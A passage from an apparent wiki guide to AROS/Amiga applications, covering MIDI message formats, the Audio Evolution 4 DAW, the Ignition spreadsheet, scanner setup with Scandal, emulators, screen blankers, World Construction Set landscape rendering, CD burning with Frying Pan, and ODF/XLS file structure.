MM is the 7 most-significant bits of the value
&lt;/pre&gt;
You’ll notice that the bender data is actually 14 bits long, transmitted as two 7-bit data bytes. This means that the recipient needs to reassemble those bytes using binary manipulation. 14 bits results in an overall range of 214, or 0 to 16,383. Because it defaults to the center of the range, the default value for the bender is halfway through that range, at 8192 (0x2000).

Control Change (0xB0)

In addition to pitch bend, MIDI has provisions for a wider range of expressive controls, sometimes known as continuous controllers, often abbreviated CC. These are transmitted by the remaining knobs and sliders on the keyboard controller shown below.


Continuous Controllers

These controls send the following message format:
&lt;pre&gt;
0xnc, 0xcc, 0xvv
n is the status (0xB)
c is the MIDI channel
cc is the controller number (0-127)
vv is the controller value (0-127)
&lt;/pre&gt;

Typically, the wheel next to the bender sends controller number one, assigned to modulation (or vibrato) depth. It is implemented by most instruments.

The remaining controller number assignments are another point of confusion. The MIDI specification was revised in version 2.0 to assign uses for many of the controllers. However, this implementation is not universal, and there are ranges of unassigned controllers.

On many modern MIDI devices, the controllers are assignable. On the controller keyboard shown in the photos, the various controls can be configured to transmit different controller numbers. Controller numbers can be mapped to particular parameters. Virtual synthesizers frequently allow the user to assign CCs to the on-screen controls. This is very flexible, but it might require configuration on both ends of the link and completely bypasses the assignments in the standard.


Program Change (0xC0)

Most synthesizers have patch storage memory, and can be told to change patches using the following command:
&lt;pre&gt;
0xnc, 0xpp
n is the status (0xc)
c is the channel
pp is the patch number (0-127)
&lt;/pre&gt;
This allows for 128 sounds to be selected, but modern instruments contain many more than 128 patches. Controller #0 is used as an additional layer of addressing, interpreted as a “bank select” command. Selecting a sound on such an instrument might involve two messages: a bank select controller message, then a program change.

Audio &amp; Midi are not synchronized, what I can do ?
Buy a commercial software package but there is a nasty trick to synchronize both. It's a bit hardcore but works for me:

 Simply put one line down to all midi notes on your pattern (use Insert key)
 and go to 'Misc. Setup', adjust the latency and just search a value
 that will make sound sync both audio/midi.

The stock Sin/Saw/Pulse and Rnd waveforms are too simple/common, is there a way to use something more complex/rich ?
You have to ability to redirect the waveforms of the instruments through the synth pipe by selecting the &quot;wav&quot; option for the oscillator you're using for this synth instrument, samples can be used as wavetables to replace the stock signals.


Sound banks like soundfont (sf2) or Kontakt2 are not supported at the moment


====DAW Audio Evolution 4====

Audio Evolution 4 gives you unsurpassed power for digital audio recording and editing on the Amiga. The latest release focusses on time-saving non-linear and non-destructive editing, as seen on other platforms. Besides editing, Audio Evolution 4 offers a wide range of realtime effects, including compression, noise gate, delays, reverb, chorus and 3-band EQ.

Whether you put them as inserts on a channel or use them as auxillaries, the effect parameters are realtime adjustable and can be fully automated. Together with all other mixing parameters, they can even be controlled remotely, using more ergonomic MIDI hardware.

Non-linear editing on the time line, including cut, copy, paste, move, split, trim and crossfade actions

The number of tracks per project(s) is unlimited .... AHI limits you to recording only two at a time. i.e. not on 8 track sound cards like the Juli@ or Phase 88.

sample file import is limited to 16bit AIFF (not AIFC, important distinction as some files from other sources can be AIFC with aiff file extention). and 16bit WAV (pcm only)


Most apps use the Music Unit only but a few apps also use Unit (0-3) instead or as well. 
* Set up AHI prefs so that microphone is available. (Input option near the bottom)


stereo++ allows the audio piece to be placed anywhere and the left-right adjusted to sound positionally right

hifi best for music playback if driver supports this option


Load 16bit .aif .aiff only sample(s) to use not AIFC which can have the same ending. AIFF stands for Audio Interchange File Format 

 sox recital.wav recital.aiff

 sox recital.wav −b 16 recital.aiff channels 1 rate 16k fade 3 norm
 sox input.wav        output.aiff bass −b 16 rate 48k

performs the same format translation, but also applies four effects (down-mix to one channel, sample rate change, fade-in, nomalize), and stores the result at a bit-depth of 16.

 rec −c 2 radio.aiff trim 0 30:00

records half an hour of stereo audio 

 play existing-file.wav


24bit PCM WAV or AIFF do not work 

*No stream format handling. So no way to pass on an AC3 encoded stream unmodified to the digital outputs through AHI.
*No master volume handling. Each application has to set its own volume. So each driver implements its own custom driver-mixer interface for handling master volumes, mute and preamps.
*Only one output stream. So all input gets mixed into one output.
*No automatic handling of output direction based on connected cables.
*No monitor input selection. Only monitor volume control. 


select the correct input (Don't mistake enabled sound for the correct input.)
The monitor will feedback audio to the lineout and hp out no matter if you have selected the correct input to the ADC. The monitor will provide sound for any valid input. This will result in free mixing when recording from the monitor input instead of mic/line because the monitor itself will provide the hardware mixing for you. Be aware that MIC inputs will give two channel mono. Only Linein will give real stereo.

Now for the not working part. Attempt to record from linein in the AE4 record window, the right channel is noise and the left channel is distorted. Even with the recommended HIFI 16bit Stereo++ mode at 48kHz.


Channels

Monitor

Gain

Inout

Output

Advanced settings - Debugging via serial port


* Options -&gt; Soundcard In/Out
* Options -&gt; SampleRate
* Options -&gt; Preferences

F6 for Sample File List

Setting a grid is easy as is measuring the BPM by marking a section of the sample. Is your kick drum track &quot;not in time&quot; ? If so, you're stumped in AE4 as it has no fancy variable time signatures and definitely no 'track this dodgy rhythm' function like software of the nature of Logic has. So if your drum beat is freeform you will need to work in freeform mode. (Real music is free form anyway).

If the drum *is* accurate and you are just having trouble measuring the time, I usually measure over a range of bars and set the number of beats in range to say 16 as this is more accurate, Then you will need to shift the drum track to match your grid *before* applying the grid. (probably an iterative process as when the grid is active samples snap to it, and when inactive you cannot see it).

AE4 does have ARexx but the functions are more for adding samples at set offsets and starting playback / recording.


These are the usual features found in DAWs...

* Recording digital audio, midi sequencer and mixer 
* virtual VST instruments and plug-ins 
* automation, group channels, MIDI channels, FX sends and returns, audio and MIDI editors and music notation editor


* different track views 
* mixer and track layout (but not the same as below) 
* traditional two windows (track and mixer)


Mixing - mixdown

Could not figure out how to select what part I wanted to send to the aux, set it to echo and return. Pretty much the whole echo effect. Or any effect.

Take look at page17 of the manual.

When you open the EQ / Aux send popup window you will see 4 sends. Now from the menu choose the windows menu.

Menus-&gt;Windows-&gt; Aux Returns Window

or press F5

You will see a small window with 4 volume controls and an effects button for each. Click a button and add an effects to that aux channel, then set it up as desired (note the reverb effect has a special AUX setting that improves its use with the aux channel, not compulsory but highly useful). You set the amount of 'return' on the main mix in the Aux Return window, and the amount sent from each main mixer channel in the popup for that channel. Again the aux sends are &quot;prefade&quot; so the volume faders on each channel do not affect them.


Tracking


Effects - fade in

To add some echoes to some vocals, tried to add an effect on a track but did not come out. This is made more complicated as I wanted to mute a vocal but then make it echo at the muting point. Want to have one word of a vocal heard and then echoed off. But when the track is mute the echo is cancelled out.

To correctly understand what is happening here you need to study the figure at the bottom of page 15 on the manual. You will see from that that the effects are applied 'prefade' So the automation you applied will naturally mute the entire signal.

There would be a number of ways to achieve the goal,

You have three real time effects slots, one for smoothing like so

Sample -&gt; Amplify -&gt; Delay

Then automate the gain of the amplify block so that it effectively mutes the sample just before the delay at the appropriate moment, the echo effect should then be heard.

Getting the effects in the right order will require experimentation as they can only be added top down and it's not obvious which order they are applied to the signal, but there only two possibilities, so it wont take long to find out.

Using MUTE can cause clicks to the Amplify can be used to mute more smoothly so that's a secondary advantage.

Signal Processing -


Overdub

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===Office===

====Spreadsheet Leu====

Support for some xlsx, and ods functions 


====Spreadsheet Ignition====

; Needs ABIv1 to be completed before more can be done

File formats supported 
* ascii #?.txt and #?.csv (single sheets with data only). 
* igs and TurboCalc(WIP) #?.tc for all sheets with data, formats and formulas.

There is '''no''' support for xls, xlsx, ods or uos ([http://en.wikipedia.org/wiki/Uniform_Office_Format Uniform Unified Office Format]) at the moment.

* Always use Esc key after editing Spreadsheet cells.
* copy/paste seems to copy the first instance only so go to Edit -&gt; Clipboard to manage the list of remembered actions. 
* Right mouse click on row (1 or 2 or 3) or column header (a or b or c)  to access optimal height or width of the row or column respectively 
* Edit -&gt; Insert -&gt; Row  seems to clear the spreadsheet or clears the rows after the inserted row until undo restores as it should be...

Change Sheet name by  Object -&gt; Sheet -&gt; Properties

Click in the cell which will contain the result, and click '''down arrow button''' to the right of the formula box at the bottom of the spreadsheet and choose the function required from the list provided. Then click on the start cell and click on the bottom right corner, a '''very''' small blob, which allows stretching a bounding box (thick grey outlines) across many cells This grey bounding box can be used to '''copy a formula''' to other cells.

Object -&gt; Cell -&gt; Properties to change cell format - Currency only covers DM and not $, Euro, Renminbi, Yen or Pound etc. 
Shift key and arrow keys selects a range of cells, so that '''formatting can be done to all highlighted cells'''. 
View -&gt; Overview then select ALL with one click (in empty cell in the top left hand corner of the sheet).

Default mode is relative cell referencing e.g. a1+a2 but absolute e.g. $a$1+$a$2 can be entered.

* #sheet-name to '''absolute''' reference another sheet-name cell unless reference() function used.

;Graphs

use shift key and arrow keys to select a bunch of cells to be graph'ed making sure that x axes represents and y axes represents

* value() - 0 value, 1 percent, 2 date, 3 time, 4 unit ...


;Dates 
* Excel starts a running count from the 1st Jan 1900 and Ignition starts from 1st Jan 1AD '''(maybe this needs to change)'''
Set formatting Object -&gt; Cell -&gt; Properties and put date in days


;Time 
Set formatting Object -&gt; Cell -&gt; Properties and put time in seconds taken


;Database (to be done by someone else)

type - standard, reference (bezug), search criterion (suchkriterium), 
* select a bunch of cells and Object -&gt; Database -&gt; Define to set Datenbank (database) and Felder (fields not sure how?) 
* Neu (new) or loschen (delete) to add/remove database headings e.g. Personal, Start Date, Finish Date (one per row?)
* Object -&gt; Database -&gt; Index to add fields (felder) like Surname, First Name, Employee ID, etc. to ?

Filtering done with dbfilter(), dbproduct() and dbposition().

Activities with dbsum(), dbaverage(), dbmin() and dbmax().

Table sorting -


;Scripts (Arexx)

;Excel(TM) to Ignition - commas ''',''' replaced by semi-colons ''';''' to separate values within functions 
*SUM(), 
*AVERAGE(), MAX(), MIN(), INT(), PRODUCT(), MEDIAN(), VAR() becomes Variance(), Percentile(),
*IF(), AND, OR, NOT 
*LEFT(), RIGHT(), MID() becomes MIDDLE(), LEN() becomes LENGTH(), 
*LOWER() becomes LOWERCASE(), UPPER() becomes UPPERCASE(),
* DATE(yyyy,mm,dd) becomes COMPUTEDATE(dd;mm;yyyy), 
*TODAY(), DAY(),WEEK(), MONTH(),=YEAR(TODAY()), 
*EOMONTH() becomes MONTHLENGTH(), 
*NOW() should be date and time becomes time only, SECOND(), MINUTE(), HOUR(),
*DBSUM() becomes DSUM(),


;Missing and possibly useful features/functions needed for ignition to have better support of Excel files 
There is no Merge and Join Text over many cells, no protect and/or freeze row or columns or books but can LOCK sheets, no define bunch of cells as a name, Macros (Arexx?), conditional formatting, no Solver, no Goal Seek, no Format Painter, no AutoFill, no AutoSum function button, no pivot tables, (30 argument limit applies to Excel)

*HLOOKUP(), VLOOKUP(), [http://production-scheduling.com/excel-index-function-most-useful/ INDEX(), MATCH()], CHOOSE(), TEXT(), 
*TRIM(), FIND(), SUBSTITUTE(), CONCATENATE() or &amp;, PROPER(), REPT(), 
*[https://acingexcel.com/excel-sumproduct-function/ SUMPRODUCT()], ROUND(), ROUNDUP(), *ROUNDDOWN(), COUNT(), COUNTA(), SUMIF(), COUNTIF(), COUNTBLANK(), TRUNC(), 
*PMT(), PV(), FV(), POWER(), SQRT(), MODE(), TRUE, FALSE, 
*MODE(), LARGE(), SMALL(), RANK(), STDEV(), 
*DCOUNT(), DCOUNTA(), WEEKDAY(),


;Excel Keyboard [http://dmcritchie.mvps.org/excel/shortx2k.htm shortcuts needed to aid usability in Ignition] 
&lt;pre&gt;
Ctrl Z - Undo

Ctrl D - Fill Down
Ctrl R - Fill right

Ctrl F - Find
Ctrl H - Replace

Ctrl 1 - Formatting of Cells
CTRL SHIFT ~ Apply General Formatting ie a number 
Ctrl ; - Todays Date 

F2 - Edit cell
F4 - toggle cell absolute / relative cell references

&lt;/pre&gt;


====Document Scanning - Scandal====

Scanner usually needs to be connected via a USB port and not via a hub or extension lead.

Check in Trident Prefs -&gt; Devices that the USB Scanner is not bound to anything (e.g. Bindings None)
If not found then reboot the computer and recheck.

Start Scandal, choose Settings from Menu strip at top of screen and in Scanner Driver choose the ?#.device of the scanner (e.g. epson2.device).

The next two boxes - leave empty as they are for morphos SCSI use only
 or put ata.device (use the selection option in bigger box below) and Unit as 0 this is needed for gt68xx

* gt68xx - no editing needed in s/gt68xx.conf but needs a firmware file that corresponds to the scanner [http://www.meier-geinitz.de/sane/gt68xx-backend/ gt68xx firmwares] in sys:s/gt68xx.
* epson2 - Need to edit the file epson2.conf in sys/s that corresponds to the scanner being used

'''Save''' the settings but do not press the Use button (aros freezes)

Back to the Picture Scan window and the right-hand sections.

Click on the '''Information''' tab and press Connect button and the scanner should now be detected.

Go next to the '''Scanner''' tab next to Information Tab should have Color, Black and White, etc. and dpi settings now. Selecting an option Color, B/W etc. can cause dpi settings corruption (especially if the settings are in one line) so set '''dpi first'''. Make sure if Preview is set or not.

In the '''Scan''' Tab, press Scan and the scanner will do its duty. 
Be aware that nothing is saved to disk yet.

In the Save tab, change format JPEG, PNG or IFF DEEP. Tick incremental and base filename if necessary and then click the Save button. The image will now be saved to permanent storage.


The driver ignores a device if it is already bond to another USB class, rejects it from being usable. However, open Trident prefs, select your device and use the right mouse button to open. Select &quot;NONE&quot; to prevent poseidon from touching the device. Now save settings. It should always work now.

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===Emulators===

==== Amiberry ====


==== Amiga Emu - Janus UAE ====

With Amibridge, AROS attempts to make the UAE emulator seem embedded within but it still is acting as an app 

There is no dynarec m68k for each hardware that Aros supports or direct patching of motorola calls to AROS hardware accelerated ones unless the emulator has that included 

Try starting Janus with a priority of -1 like this little script:
&lt;pre&gt;
cd sys:system/AmiBridge/emulator
changetaskpri -1
run janus-uae -f my_uaerc.config &gt;nil:
cd sys:prefs
endcli
&lt;/pre&gt;
This stops Janus hogging all the CPU time.


===Miscellaneous===

====Screensaver Blanker====

Most blankers on the amiga (i.e. aros) run as commodities (they are in the tools/commodities drawer). Double click on blanker.

Control is with an app called Exchange, which you need to run first (double click on app) or  run QUIET sys:tools/commodities/Exchange &gt;NIL: but subsequently can use (Cntrl Alt h).

Icon tool types (may be broken) or command line options 
&lt;pre&gt;
seconds=number 
&lt;/pre&gt;

Once the timing is right then add the following to s:icaros-sequence or s:user-startup

e.g. for 5 minutes

 run QUIET sys:tools/commodities/Blanker seconds=300 &gt;NIL:


*[http://archives.aros-exec.org/index.php?function=showfile&amp;file=graphics/screenblanker/gblanker.i386-aros.zip Garshneblanker] can make Aros unstable or slow. Certain blankers crashes in Icaros 2.0.x like Dragon, Executor.


*[ Acuario AROS version], the aquarium screen saver.

Startup: extras:acuariofv-aros/acuario

Kill: c:break name=extras:acuariofv-aros/acuario

Managed to start Acuario by the Executor blanker.

&lt;pre&gt;
cx_priority=
cx_popkey=    ie CX_POPKEY=&quot;Shift F1&quot; 
cx_popup=Yes or No

&lt;/pre&gt;


&lt;pre&gt;
 Qualifier String    Input Event Class
   ----------------    -----------------
    &quot;lshift&quot;           IEQUALIFIER_LSHIFT
    &quot;rshift&quot;           IEQUALIFIER_RSHIFT
    &quot;capslock&quot;         IEQUALIFIER_CAPSLOCK
    &quot;control&quot;          IEQUALIFIER_CONTROL
    &quot;lalt&quot;             IEQUALIFIER_LALT
    &quot;ralt&quot;             IEQUALIFIER_RALT
    &quot;lcommand&quot;         IEQUALIFIER_LCOMMAND
    &quot;rcommand&quot;         IEQUALIFIER_RCOMMAND
    &quot;numericpad&quot;       IEQUALIFIER_NUMERICPAD
    &quot;repeat&quot;           IEQUALIFIER_REPEAT
    &quot;midbutton&quot;        IEQUALIFIER_MIDBUTTON
    &quot;rbutton&quot;          IEQUALIFIER_RBUTTON
    &quot;leftbutton&quot;       IEQUALIFIER_LEFTBUTTON
    &quot;relativemouse&quot;    IEQUALIFIER_RELATIVEMOUSE
&lt;/pre&gt;


&lt;pre&gt;
    Synonym     Synonym
    String     Identifier
    -------    ----------
    &quot;shift&quot;    IXSYM_SHIFT    /* look for either shift key */
    &quot;caps&quot;     IXSYM_CAPS     /* look for either shift key or capslock */
    &quot;alt&quot;      IXSYM_ALT      /* look for either alt key */

Highmap is one of the following strings:
    &quot;space&quot;, &quot;backspace&quot;, &quot;tab&quot;, &quot;enter&quot;, &quot;return&quot;, &quot;esc&quot;, &quot;del&quot;,
    &quot;up&quot;, &quot;down&quot;, &quot;right&quot;, &quot;left&quot;, &quot;f1&quot;, &quot;f2&quot;, &quot;f3&quot;, &quot;f4&quot;, &quot;f5&quot;,
    &quot;f6&quot;, &quot;f7&quot;, &quot;f8&quot;, &quot;f9&quot;, &quot;f10&quot;, &quot;help&quot;.


&lt;/pre&gt;


[[#top|...to the top]]

==== World Construction Set WCS (Version 2.031) ====

WCS is a fractal landscape software such as Scenery Animator, Vista Pro and Panorama. Open sourced February 2022, World Construction Set [https://3dnature.com/downloads/legacy-software/ legally and for free] and [https://github.com/AlphaPixel/3DNature c source]. 

Announced August 1994 this version dates from April 1996 developed by Gary R. Huber and Chris &quot;Xenon&quot; Hanson&quot; from Questar 

&lt;pre&gt;
Assign &quot;WCSProjects:&quot; &quot;Volume:Dir/Dir/WCSProjects&quot; 
Assign &quot;WCSFrames:&quot;   &quot;Volume:Dir/Dir/WCSFrames&quot; 
&lt;/pre&gt;

&lt;pre&gt;
Load projects .proj by accessing pull down menu Project -&gt; Open then click on CanyonSunset.proj
OK to changing .par file and enlarge Status Log window to show what is happening 
Render by pull down menu Modules -&gt; Render with End equal 1 not 300 then click bottom middle button Render 
&lt;/pre&gt;

[https://www.youtube.com/watch?v=CxQDmf1ZWG0 Youtube walkthrough of above], [], [], 

Also try working with the already built file ColoDemo - Then open with the drop-down menu: Project/Open, then WCSProject:ColoDemo.proj
Which allows you to use altimetric DEM files already included and Loading scene parameters from ColoDemo.par
Once this is done, save everything with a new name to start working exclusively on your project. 
Then drop-down menu and select Save As (&quot;NewName&quot;.proj name), then drop-down menu to open parameter and select Save All ( .par name)


After launching the software, there is a the Module Control Panel composed of five icons. 
It is a dock type shortcut of the first few functions of the drop-down menu 

*Database   - Load (#?.proj), Append, Create, Edit, Save, Dir List (of WCSProject drawer), 
*Data Ops   - Extract / Convert Interp DEM, Import DLG, DXF, WDB and export LW map 3d formats  
*Map View   - Database file Loader leading to Map View Control with option to the Database Editor 
*Parameters - Editor for Motion, Color, Ecosystem, Clouds, Waves, management of altimeter files DEM, sclock settings etc 
*Render     - rendering terrain 

These are more in the pull down menu but not in the dock 
*Motion Editor
*Color Editor
*Ecosys Editor 


Simple minimal workflow 
*Load database (1st icon - 1st)
*Set parameters and save .par file (4th icon)
*Render scene (5th icon) 

[https://www.youtube.com/watch?v=ZbTwwR2qcc4 Youtube], [], 

&lt;pre&gt;
.proj new project name which creates a drawer of additional files 

.binary array, ascii array .xyz , z buffer, DTED .dt0, vista 1990s dem, iff  conversion 
.Obj with .elev, .frd with .hdr maps, - digital elevation model (DEM) is a 3D representation of elevation data in various formats 
USGS 7.5MinDEM, 

.par 


&lt;/pre&gt;


Since for the time being no project is loaded, a query window indicates a procedural error when clicking on the rendering icon (right end of the bar). The menu is quite traditional; it varies according to the activity of the windows. To display any altimetric file in the &quot;Mapview&quot; (third icon of the panel), There are three possibilities:

* Loading of a demonstration project.
* The import of a DEM file, followed by texturing and packaging from the &quot;Database-Editor&quot; and the &quot;Color-Editor&quot;.
* The creation of an altimetric file in WCS format, then texturing.


The altimeter file editing (display in the menu) is only made possible if the &quot;Mapview&quot; window is active.

The software is made up of many windows and won't be able to describe them all. Know that &quot;Color-Editor&quot; and the &quot;Data-Editor&quot; comprise sufficient functions for obtaining an almost real rendering quality. You have the possibility of inserting vector objects in the &quot;Data-Editor&quot; (creation of roads, railways, etc.) 


The Map View (MapView) window

*Database - Objects and Topos
*View     - Align, Center, Zoom, Pan, Move 
*Draw     - Maps and distance 
*Object   - Find, highlight, add points, conform topo, duplicate 
*Motion   - Camera, Focus, path, elevation 
*Windows  - DEM designer, Cloud (.cld) and wave (.wve) editor, 


You will notice that by selecting this window and simply moving the pointer to various points on the map you will see latitude and longitude values ​​change, along with the height.
Drop-down menu and Modules, then select MapView and change the width of the window with the map to arrange it in the best way on the screen. With the Auto button the center. Window that then displays the contents of my DEM file, in this case the Grand Canyon. MapView allows you to observe the shape of the landscape from above
 

ZOOM button

Press the Zoom button and then with the pointer position on a point on the map, press the left mouse button and then move to the opposite corner to circumscribe the chosen area and press the left mouse button again, then we will see the enlarged area selected on the map.
Would add that there is a box next to the Zoom button that allows the direct insertion of a value which, the larger it is, the smaller the magnification and the smaller the value, the stronger the magnification. At each numerical change you will need to press the DRAW button to update the view.

PAN button

Under Zoom you will find the PAN button which allows you to move the map at will in all directions by the amount you want. This is done by drawing a line in one direction, then press PAN and point to an area on the map with the pointer and press the left mouse button. At this point, leave it and move the pointer in one direction by drawing a line and press the left mouse button again to trigger the movement of the map on the screen (origin and end points). Do some experiments and then use the Auto button immediately below to recenter everything.
There are parameters such as TOPO, VEC to be left checked and immediately below one that allows different views of the map with the Style command (Single, Multi, Surface, Emboss, Slope, Contour), each with its own particularities to highlight different details.

Now you have the first basics to manage your project visually on the map. Close the MapView window and go further...


Let's start working on ECOSYSTEMS
If we select Emboss from the MapView Style command we will have a clear idea of ​​how the landscape appears, realizing that it is a predominantly desert region of our planet. Therefore we will begin to act on any vegetation present and the appearance of the landscape.
With WCS we will begin to break down the elements of the landscape by assigning defined characteristics. It will be necessary to determine the classes of the ecosystem (Class) with parameters of Elevation Line (maximum altitude), Relative Elevation (arrangement on basins or convexities with respectively positive or negative parameters), Min Slope and Max Slope (slope). WCS offers the possibility of making ecosystems coexist on the same terrain with the UnderEco function, by setting a Density value.


Ecosys Ecosystem Editor

Let's open it from Modules, then Ecosys Editor. In the left pane you will find the list of ecosystems referring to the files present in our project. It will be necessary to clean up that box to leave only the Water and Snow landscapes and a few other predefined ones. We can do this by selecting the items and pressing the Remove button (be careful not for all elements the button is activated, therefore they cannot all be eliminated).
Once this is done we can start adding new ecosystems. Scroll through the various Unused and as soon as the Name item at the top is activated allowing you to write, type the name of your ecosystem, adding the necessary parameters.
&lt;pre&gt;
Ecosystem1: Name: RockBase Class: Rock Density: 80 MinSlope: 15 UnderEco: Terrain
Ecosystem2: Name: RockIncl Clss: Rock Density: 80 MinSlope: 30 UnderEco: Terrain
Ecosystem3: Name: Grass Class Low Veg Density: 50 Height: 1 Elev Line : 1500 Rel El Eff: 5
Max Slope: 10 – Min Slope: 0 UnderEco: Terrain
Ecosistema4: Name: Shrubs Class: Low Veg Density: 40 Height: 8 Elev Line: 3000
Rel El Eff: -2 Max Slope: 20 Min Slope : 5 UnderEco: Terrain
Ecosistema5: Name: Terrain Class: Ground Density: 100 UnderEco: Terrain
&lt;/pre&gt;

Now we need to identify an intermediate ecosystem that guarantees a smooth transition between all, therefore we select as Understory Ecosystem the one called Terrain in all ecosystems, except Snow and Water .
Now we need to 'emerge' the Colorado River in the Canyon and we can do this by raising the sea level to 900 (Sea Level) in the Ecosystem called Water.
Please note that the order of the ecosystem list gives priority to those that come after. So our list must have the following order: Water, Snow, Shrubs, RockIncl, RockBase, Terrain. It is possible to carry out all movements with the Swap button at the bottom. To put order you can also press Short List. Press Keep to confirm all the work done so far with Ecosystem Editor.
Remember every now and then to save both the Project 'Modules/Save' and 'Parameter/Save All'

EcoModels are made up of .etp .fgp .iff8 for each model 


Color Editor

Now it's time to define the colors of our scene and we can do this by going to Modules and then Color Editor. In the list we focus on our ecosystems, created first.
Let's go to the bottom of the list and select the first white space, assigning the name 'empty1', with a color we like and then we will find this element again in other environments... It could serve as an example for other situations!
So we move to 'grass' which already exists and assign the following colors: R 60 G 70 B50
&lt;pre&gt;
'shrubs': R 60 G 80 B 30
'RockIncl' R 110 G 65 B 60
'RockBase' R 110 G 80 B 80
' Terrain' R 150 G 30 B 30
&lt;pre&gt;
Now we can work on pre-existing colors
&lt;pre&gt;
'SunLight' R 150 G 130 B 130
'Haze and Fog' R 190 G 170 B 170
'Horizon' R 209 G 185 B 190
'Zenith' R 140 G 150 B 200
'Water' R 90 G 125 B 170
&lt;/pre&gt;

Ambient R 0 G 0 B 0

So don't forget to close Color Editor by pressing Keep.
Go once again to Ecosystem Editor and assign the corresponding color to each environment by selecting it using the Ecosystem Color button. Press it several times until the correct one appears. Then save the project and parameters again, as done previously.


Motion Editor

Now it's time to take care of the framing, so let's go to Modules and then to Motion Editor. An extremely feature-rich window will open. Following is the list of parameters regarding the Camera, position and other characteristics:
&lt;pre&gt;
-Camera Altitude: 7.0
-Camera Latitude: 36.075
-Camera Longitude: 112.133
-Focus Attitude: -2.0
-Focus Latitude: 36.275
-Focus Longitude: 112.386
-Camera : 512 → rendering window
-Camera Y: 384 → rendering window
-View Arc: 80 → View width in degrees
-Sun Longitude: 172
-Sun Latitude: -0.9
-Haze Start: 3.8
-Haze Range: 78, 5
&lt;/pre&gt;
As soon as the values ​​shown in the relevant sliders have been modified, we will be ready to open the CamView window to observe the wireframe preview. Let's not consider all the controls that will appear.
Well from the Motion Editor if you have selected Camera Altitude and open the CamView panel, you can change the height of the camera by holding down the right mouse button and moving the mouse up and down. To update the view, press the Terrain button in the adjacent window. As soon as you are convinced of the position, confirm again with Keep. You can carry out the same work with the other functions of the camera, such as Focus Altitude...
Let's now see the next positioning step on the Camera map, but let's leave the CamView preview window open while we go to Modules to open the window at the same time MapView. We will thus be able to take advantage of the view from the other together with a subjective one.


From the MapView window, select with the left mouse button and while it is pressed, move the Camera as desired. To update the subjective preview, always click on Terrain.
While with the same procedure you can intervene on the direction of the camera lens, by selecting the cross and with the left button pressed you can choose the desired view. So with the pressure of Terrain I update the Preview. Possibly can enlarge or reduce the Map View using the Zoom button, for greater precision.
Also write that the circle around the cameras indicates the beginning of the haze, there are two types (haze and fog) linked to the altitude. Would also add that the camera height is editable through the Motion Editor panel.


The sun

Let's see that changing the position of the sun from the Motion Editor. Press the SUN button at the bottom right and set the time and the date. Longitude and latitude are automatically obtained by the program. Always open the View Arc command from the Motion Editor panel, an item present in the Parameter List box.

Once again confirm everything with Keep and then save again.


Animation

The animation part is not left-back and also occupies a window. The settings possibilities are enormous. A time line with dragging functions (&quot;slide&quot;, &quot;drag&quot;...) comparable to that of LightWave completes this window. 


A small window is available for positioning the stars as a function of a date, in order to vary the seasons and their various events (and yes...).

At the bottom of the &quot;Motion-Editor&quot;, a &quot;cam-view&quot; function will give you access to a control panel. Different preview modes are possible. The rendering is also accessible through a window. No less than nine pages compose it. At this level, you will be able to determine the backup name of your images (&quot;path&quot;), the type of texture to be calculated, the resolution of the images, activate or deactivate functions such as the depth buffer (&quot;zbuffer&quot;), the blur, the background image, etc.


Once all these parameters have been set, all you have to do is click on the &quot;Render&quot; button.

For rendering go to Modules and then Render. Select the resolution, then under IMA select the name of the image. Move to FRA and indicate the level of fractal detail which of 4 is quite good. Then Keep to confirm and then reopen the window, pressing Render you will see the result. The image will be opened with any viewing program.


Strengths:

* Multi-window.
* Quality of rendering.
* Accuracy.
* Opening, preview and rendering on CyberGraphX screen.
* Extract / Convert Interp DEM, Import DLG, DXF, WDB and export LW map 3d formats 
* The &quot;zbuffer&quot; function.

Weaknesses:

* No OpenGL management 
* Calculation time.
* No network computing tool.


====Writing CD / DVD - Frying Pan====

Can be backup DVDs (4GB ISO size limit due to use of FileInfoBlock), create audio cds from mp3's, and put .iso files on discs

If using for the first time - click Drive button and Device set to ata.device and unit to 0 (zero)

Click Tracks Button - Drive 1 - Create New Disc or Import Existing Disc Image (iso bin/cue etc.) - Session File open cue file

If you're making a data cd, with files and drawers from your hard drive, you should be using the ISO Builder.. which is the MUI page on the left. (&quot;Data/Audio Tracks&quot; is on the right).

You should use the &quot;Data/Audio tracks&quot; page if you want to create music cds with AIFF/WAV/MP3 files, or if you download an .iso file, and you want to put it on a cd.

Click WRITE Button - set write speed - click on long Write button

Examples

Easiest way would be to burn a DATA CD, simply go to &quot;Tracks&quot; page &quot;ISO Builder&quot; and &quot;ADD&quot; everything you need to burn.

On the &quot;Write&quot; page i have &quot;Masterize Disc (DAO)&quot;, &quot;Close Disc&quot; and &quot;Eject after Write&quot; set.

One must not &quot;Blank disc before write&quot; if one uses a CDR


AUDIO CD from MP3's are as easy but tricky to deal with. FP only understands one MP3 format, Layer II, everything else will just create empty tracks

Burning bootable CD's works only with .iso files. Go to &quot;Tracks&quot; page and &quot;Data/Audio Tracks&quot; and add the .iso


====odf====

Every ODF file is a collection of several subdocuments within a package (ZIP file), each of which stores part of the complete document.

* content.xml – Document content and automatic styles used in the content.
* styles.xml – Styles used in the document content and automatic styles used in the styles themselves.
* meta.xml – Document meta information, such as the author or the time of the last save action.
* settings.xml – Application-specific settings, such as the window size or printer information.


To read document follow these steps:

* Extracting .ods file.
* Getting content.xml file (which contains sheets data).
* Creating XmlDocument object from content.xml file.
* Creating DataSet (that represent Spreadsheet file).
* With XmlDocument select “table:table” elements, and then create adequate DataTables.
* Parse child’s of “table:table” element and fill DataTables with those data.
* At the end, return DataSet and show it in application’s interface.


To write document follow these steps:

* Extracting template.ods file (.ods file that we use as template).
* Getting content.xml file.
* Creating XmlDocument object from content.xml file.
* Erasing all “table:table” elements from the content.xml file.
* Reading data from our DataSet and composing adequate “table:table” elements.
* Adding “table:table” elements to content.xml file.
* Zipping that file as new .ods file.

XLS file format

The XLS file format contains streams, substreams, and records.

These sheet substreams include worksheets, macro sheets, chart sheets, dialog sheets, and VBA module sheets. 
All the records in an XLS document start with a 2-byte unsigned integer to specify Record Type (rt), and another for Count of Bytes (cb). A record cannot exceed 8224 bytes. If larger than the rest is stored in one or more continue records.

* Workbook stream 
**Globals substream
***BoundSheet8 record - info for Worksheet substream i.e. name, location, type, and visibility. (4bytes the lbPlyPos FilePointer, specifies the position in the Workbook stream where the sheet substream starts) 
**Worksheet substream (sheet) - Cell Table - Row record - Cells (2byte=row 2byte=column 2byte=XF format)
***Blank cell record
***RK cell record 32-bit number. 
***BoolErr cell record (2-byte Bes structure that may be either a Boolean value or an error code)
***Number cell record (64-bit floating-point number)
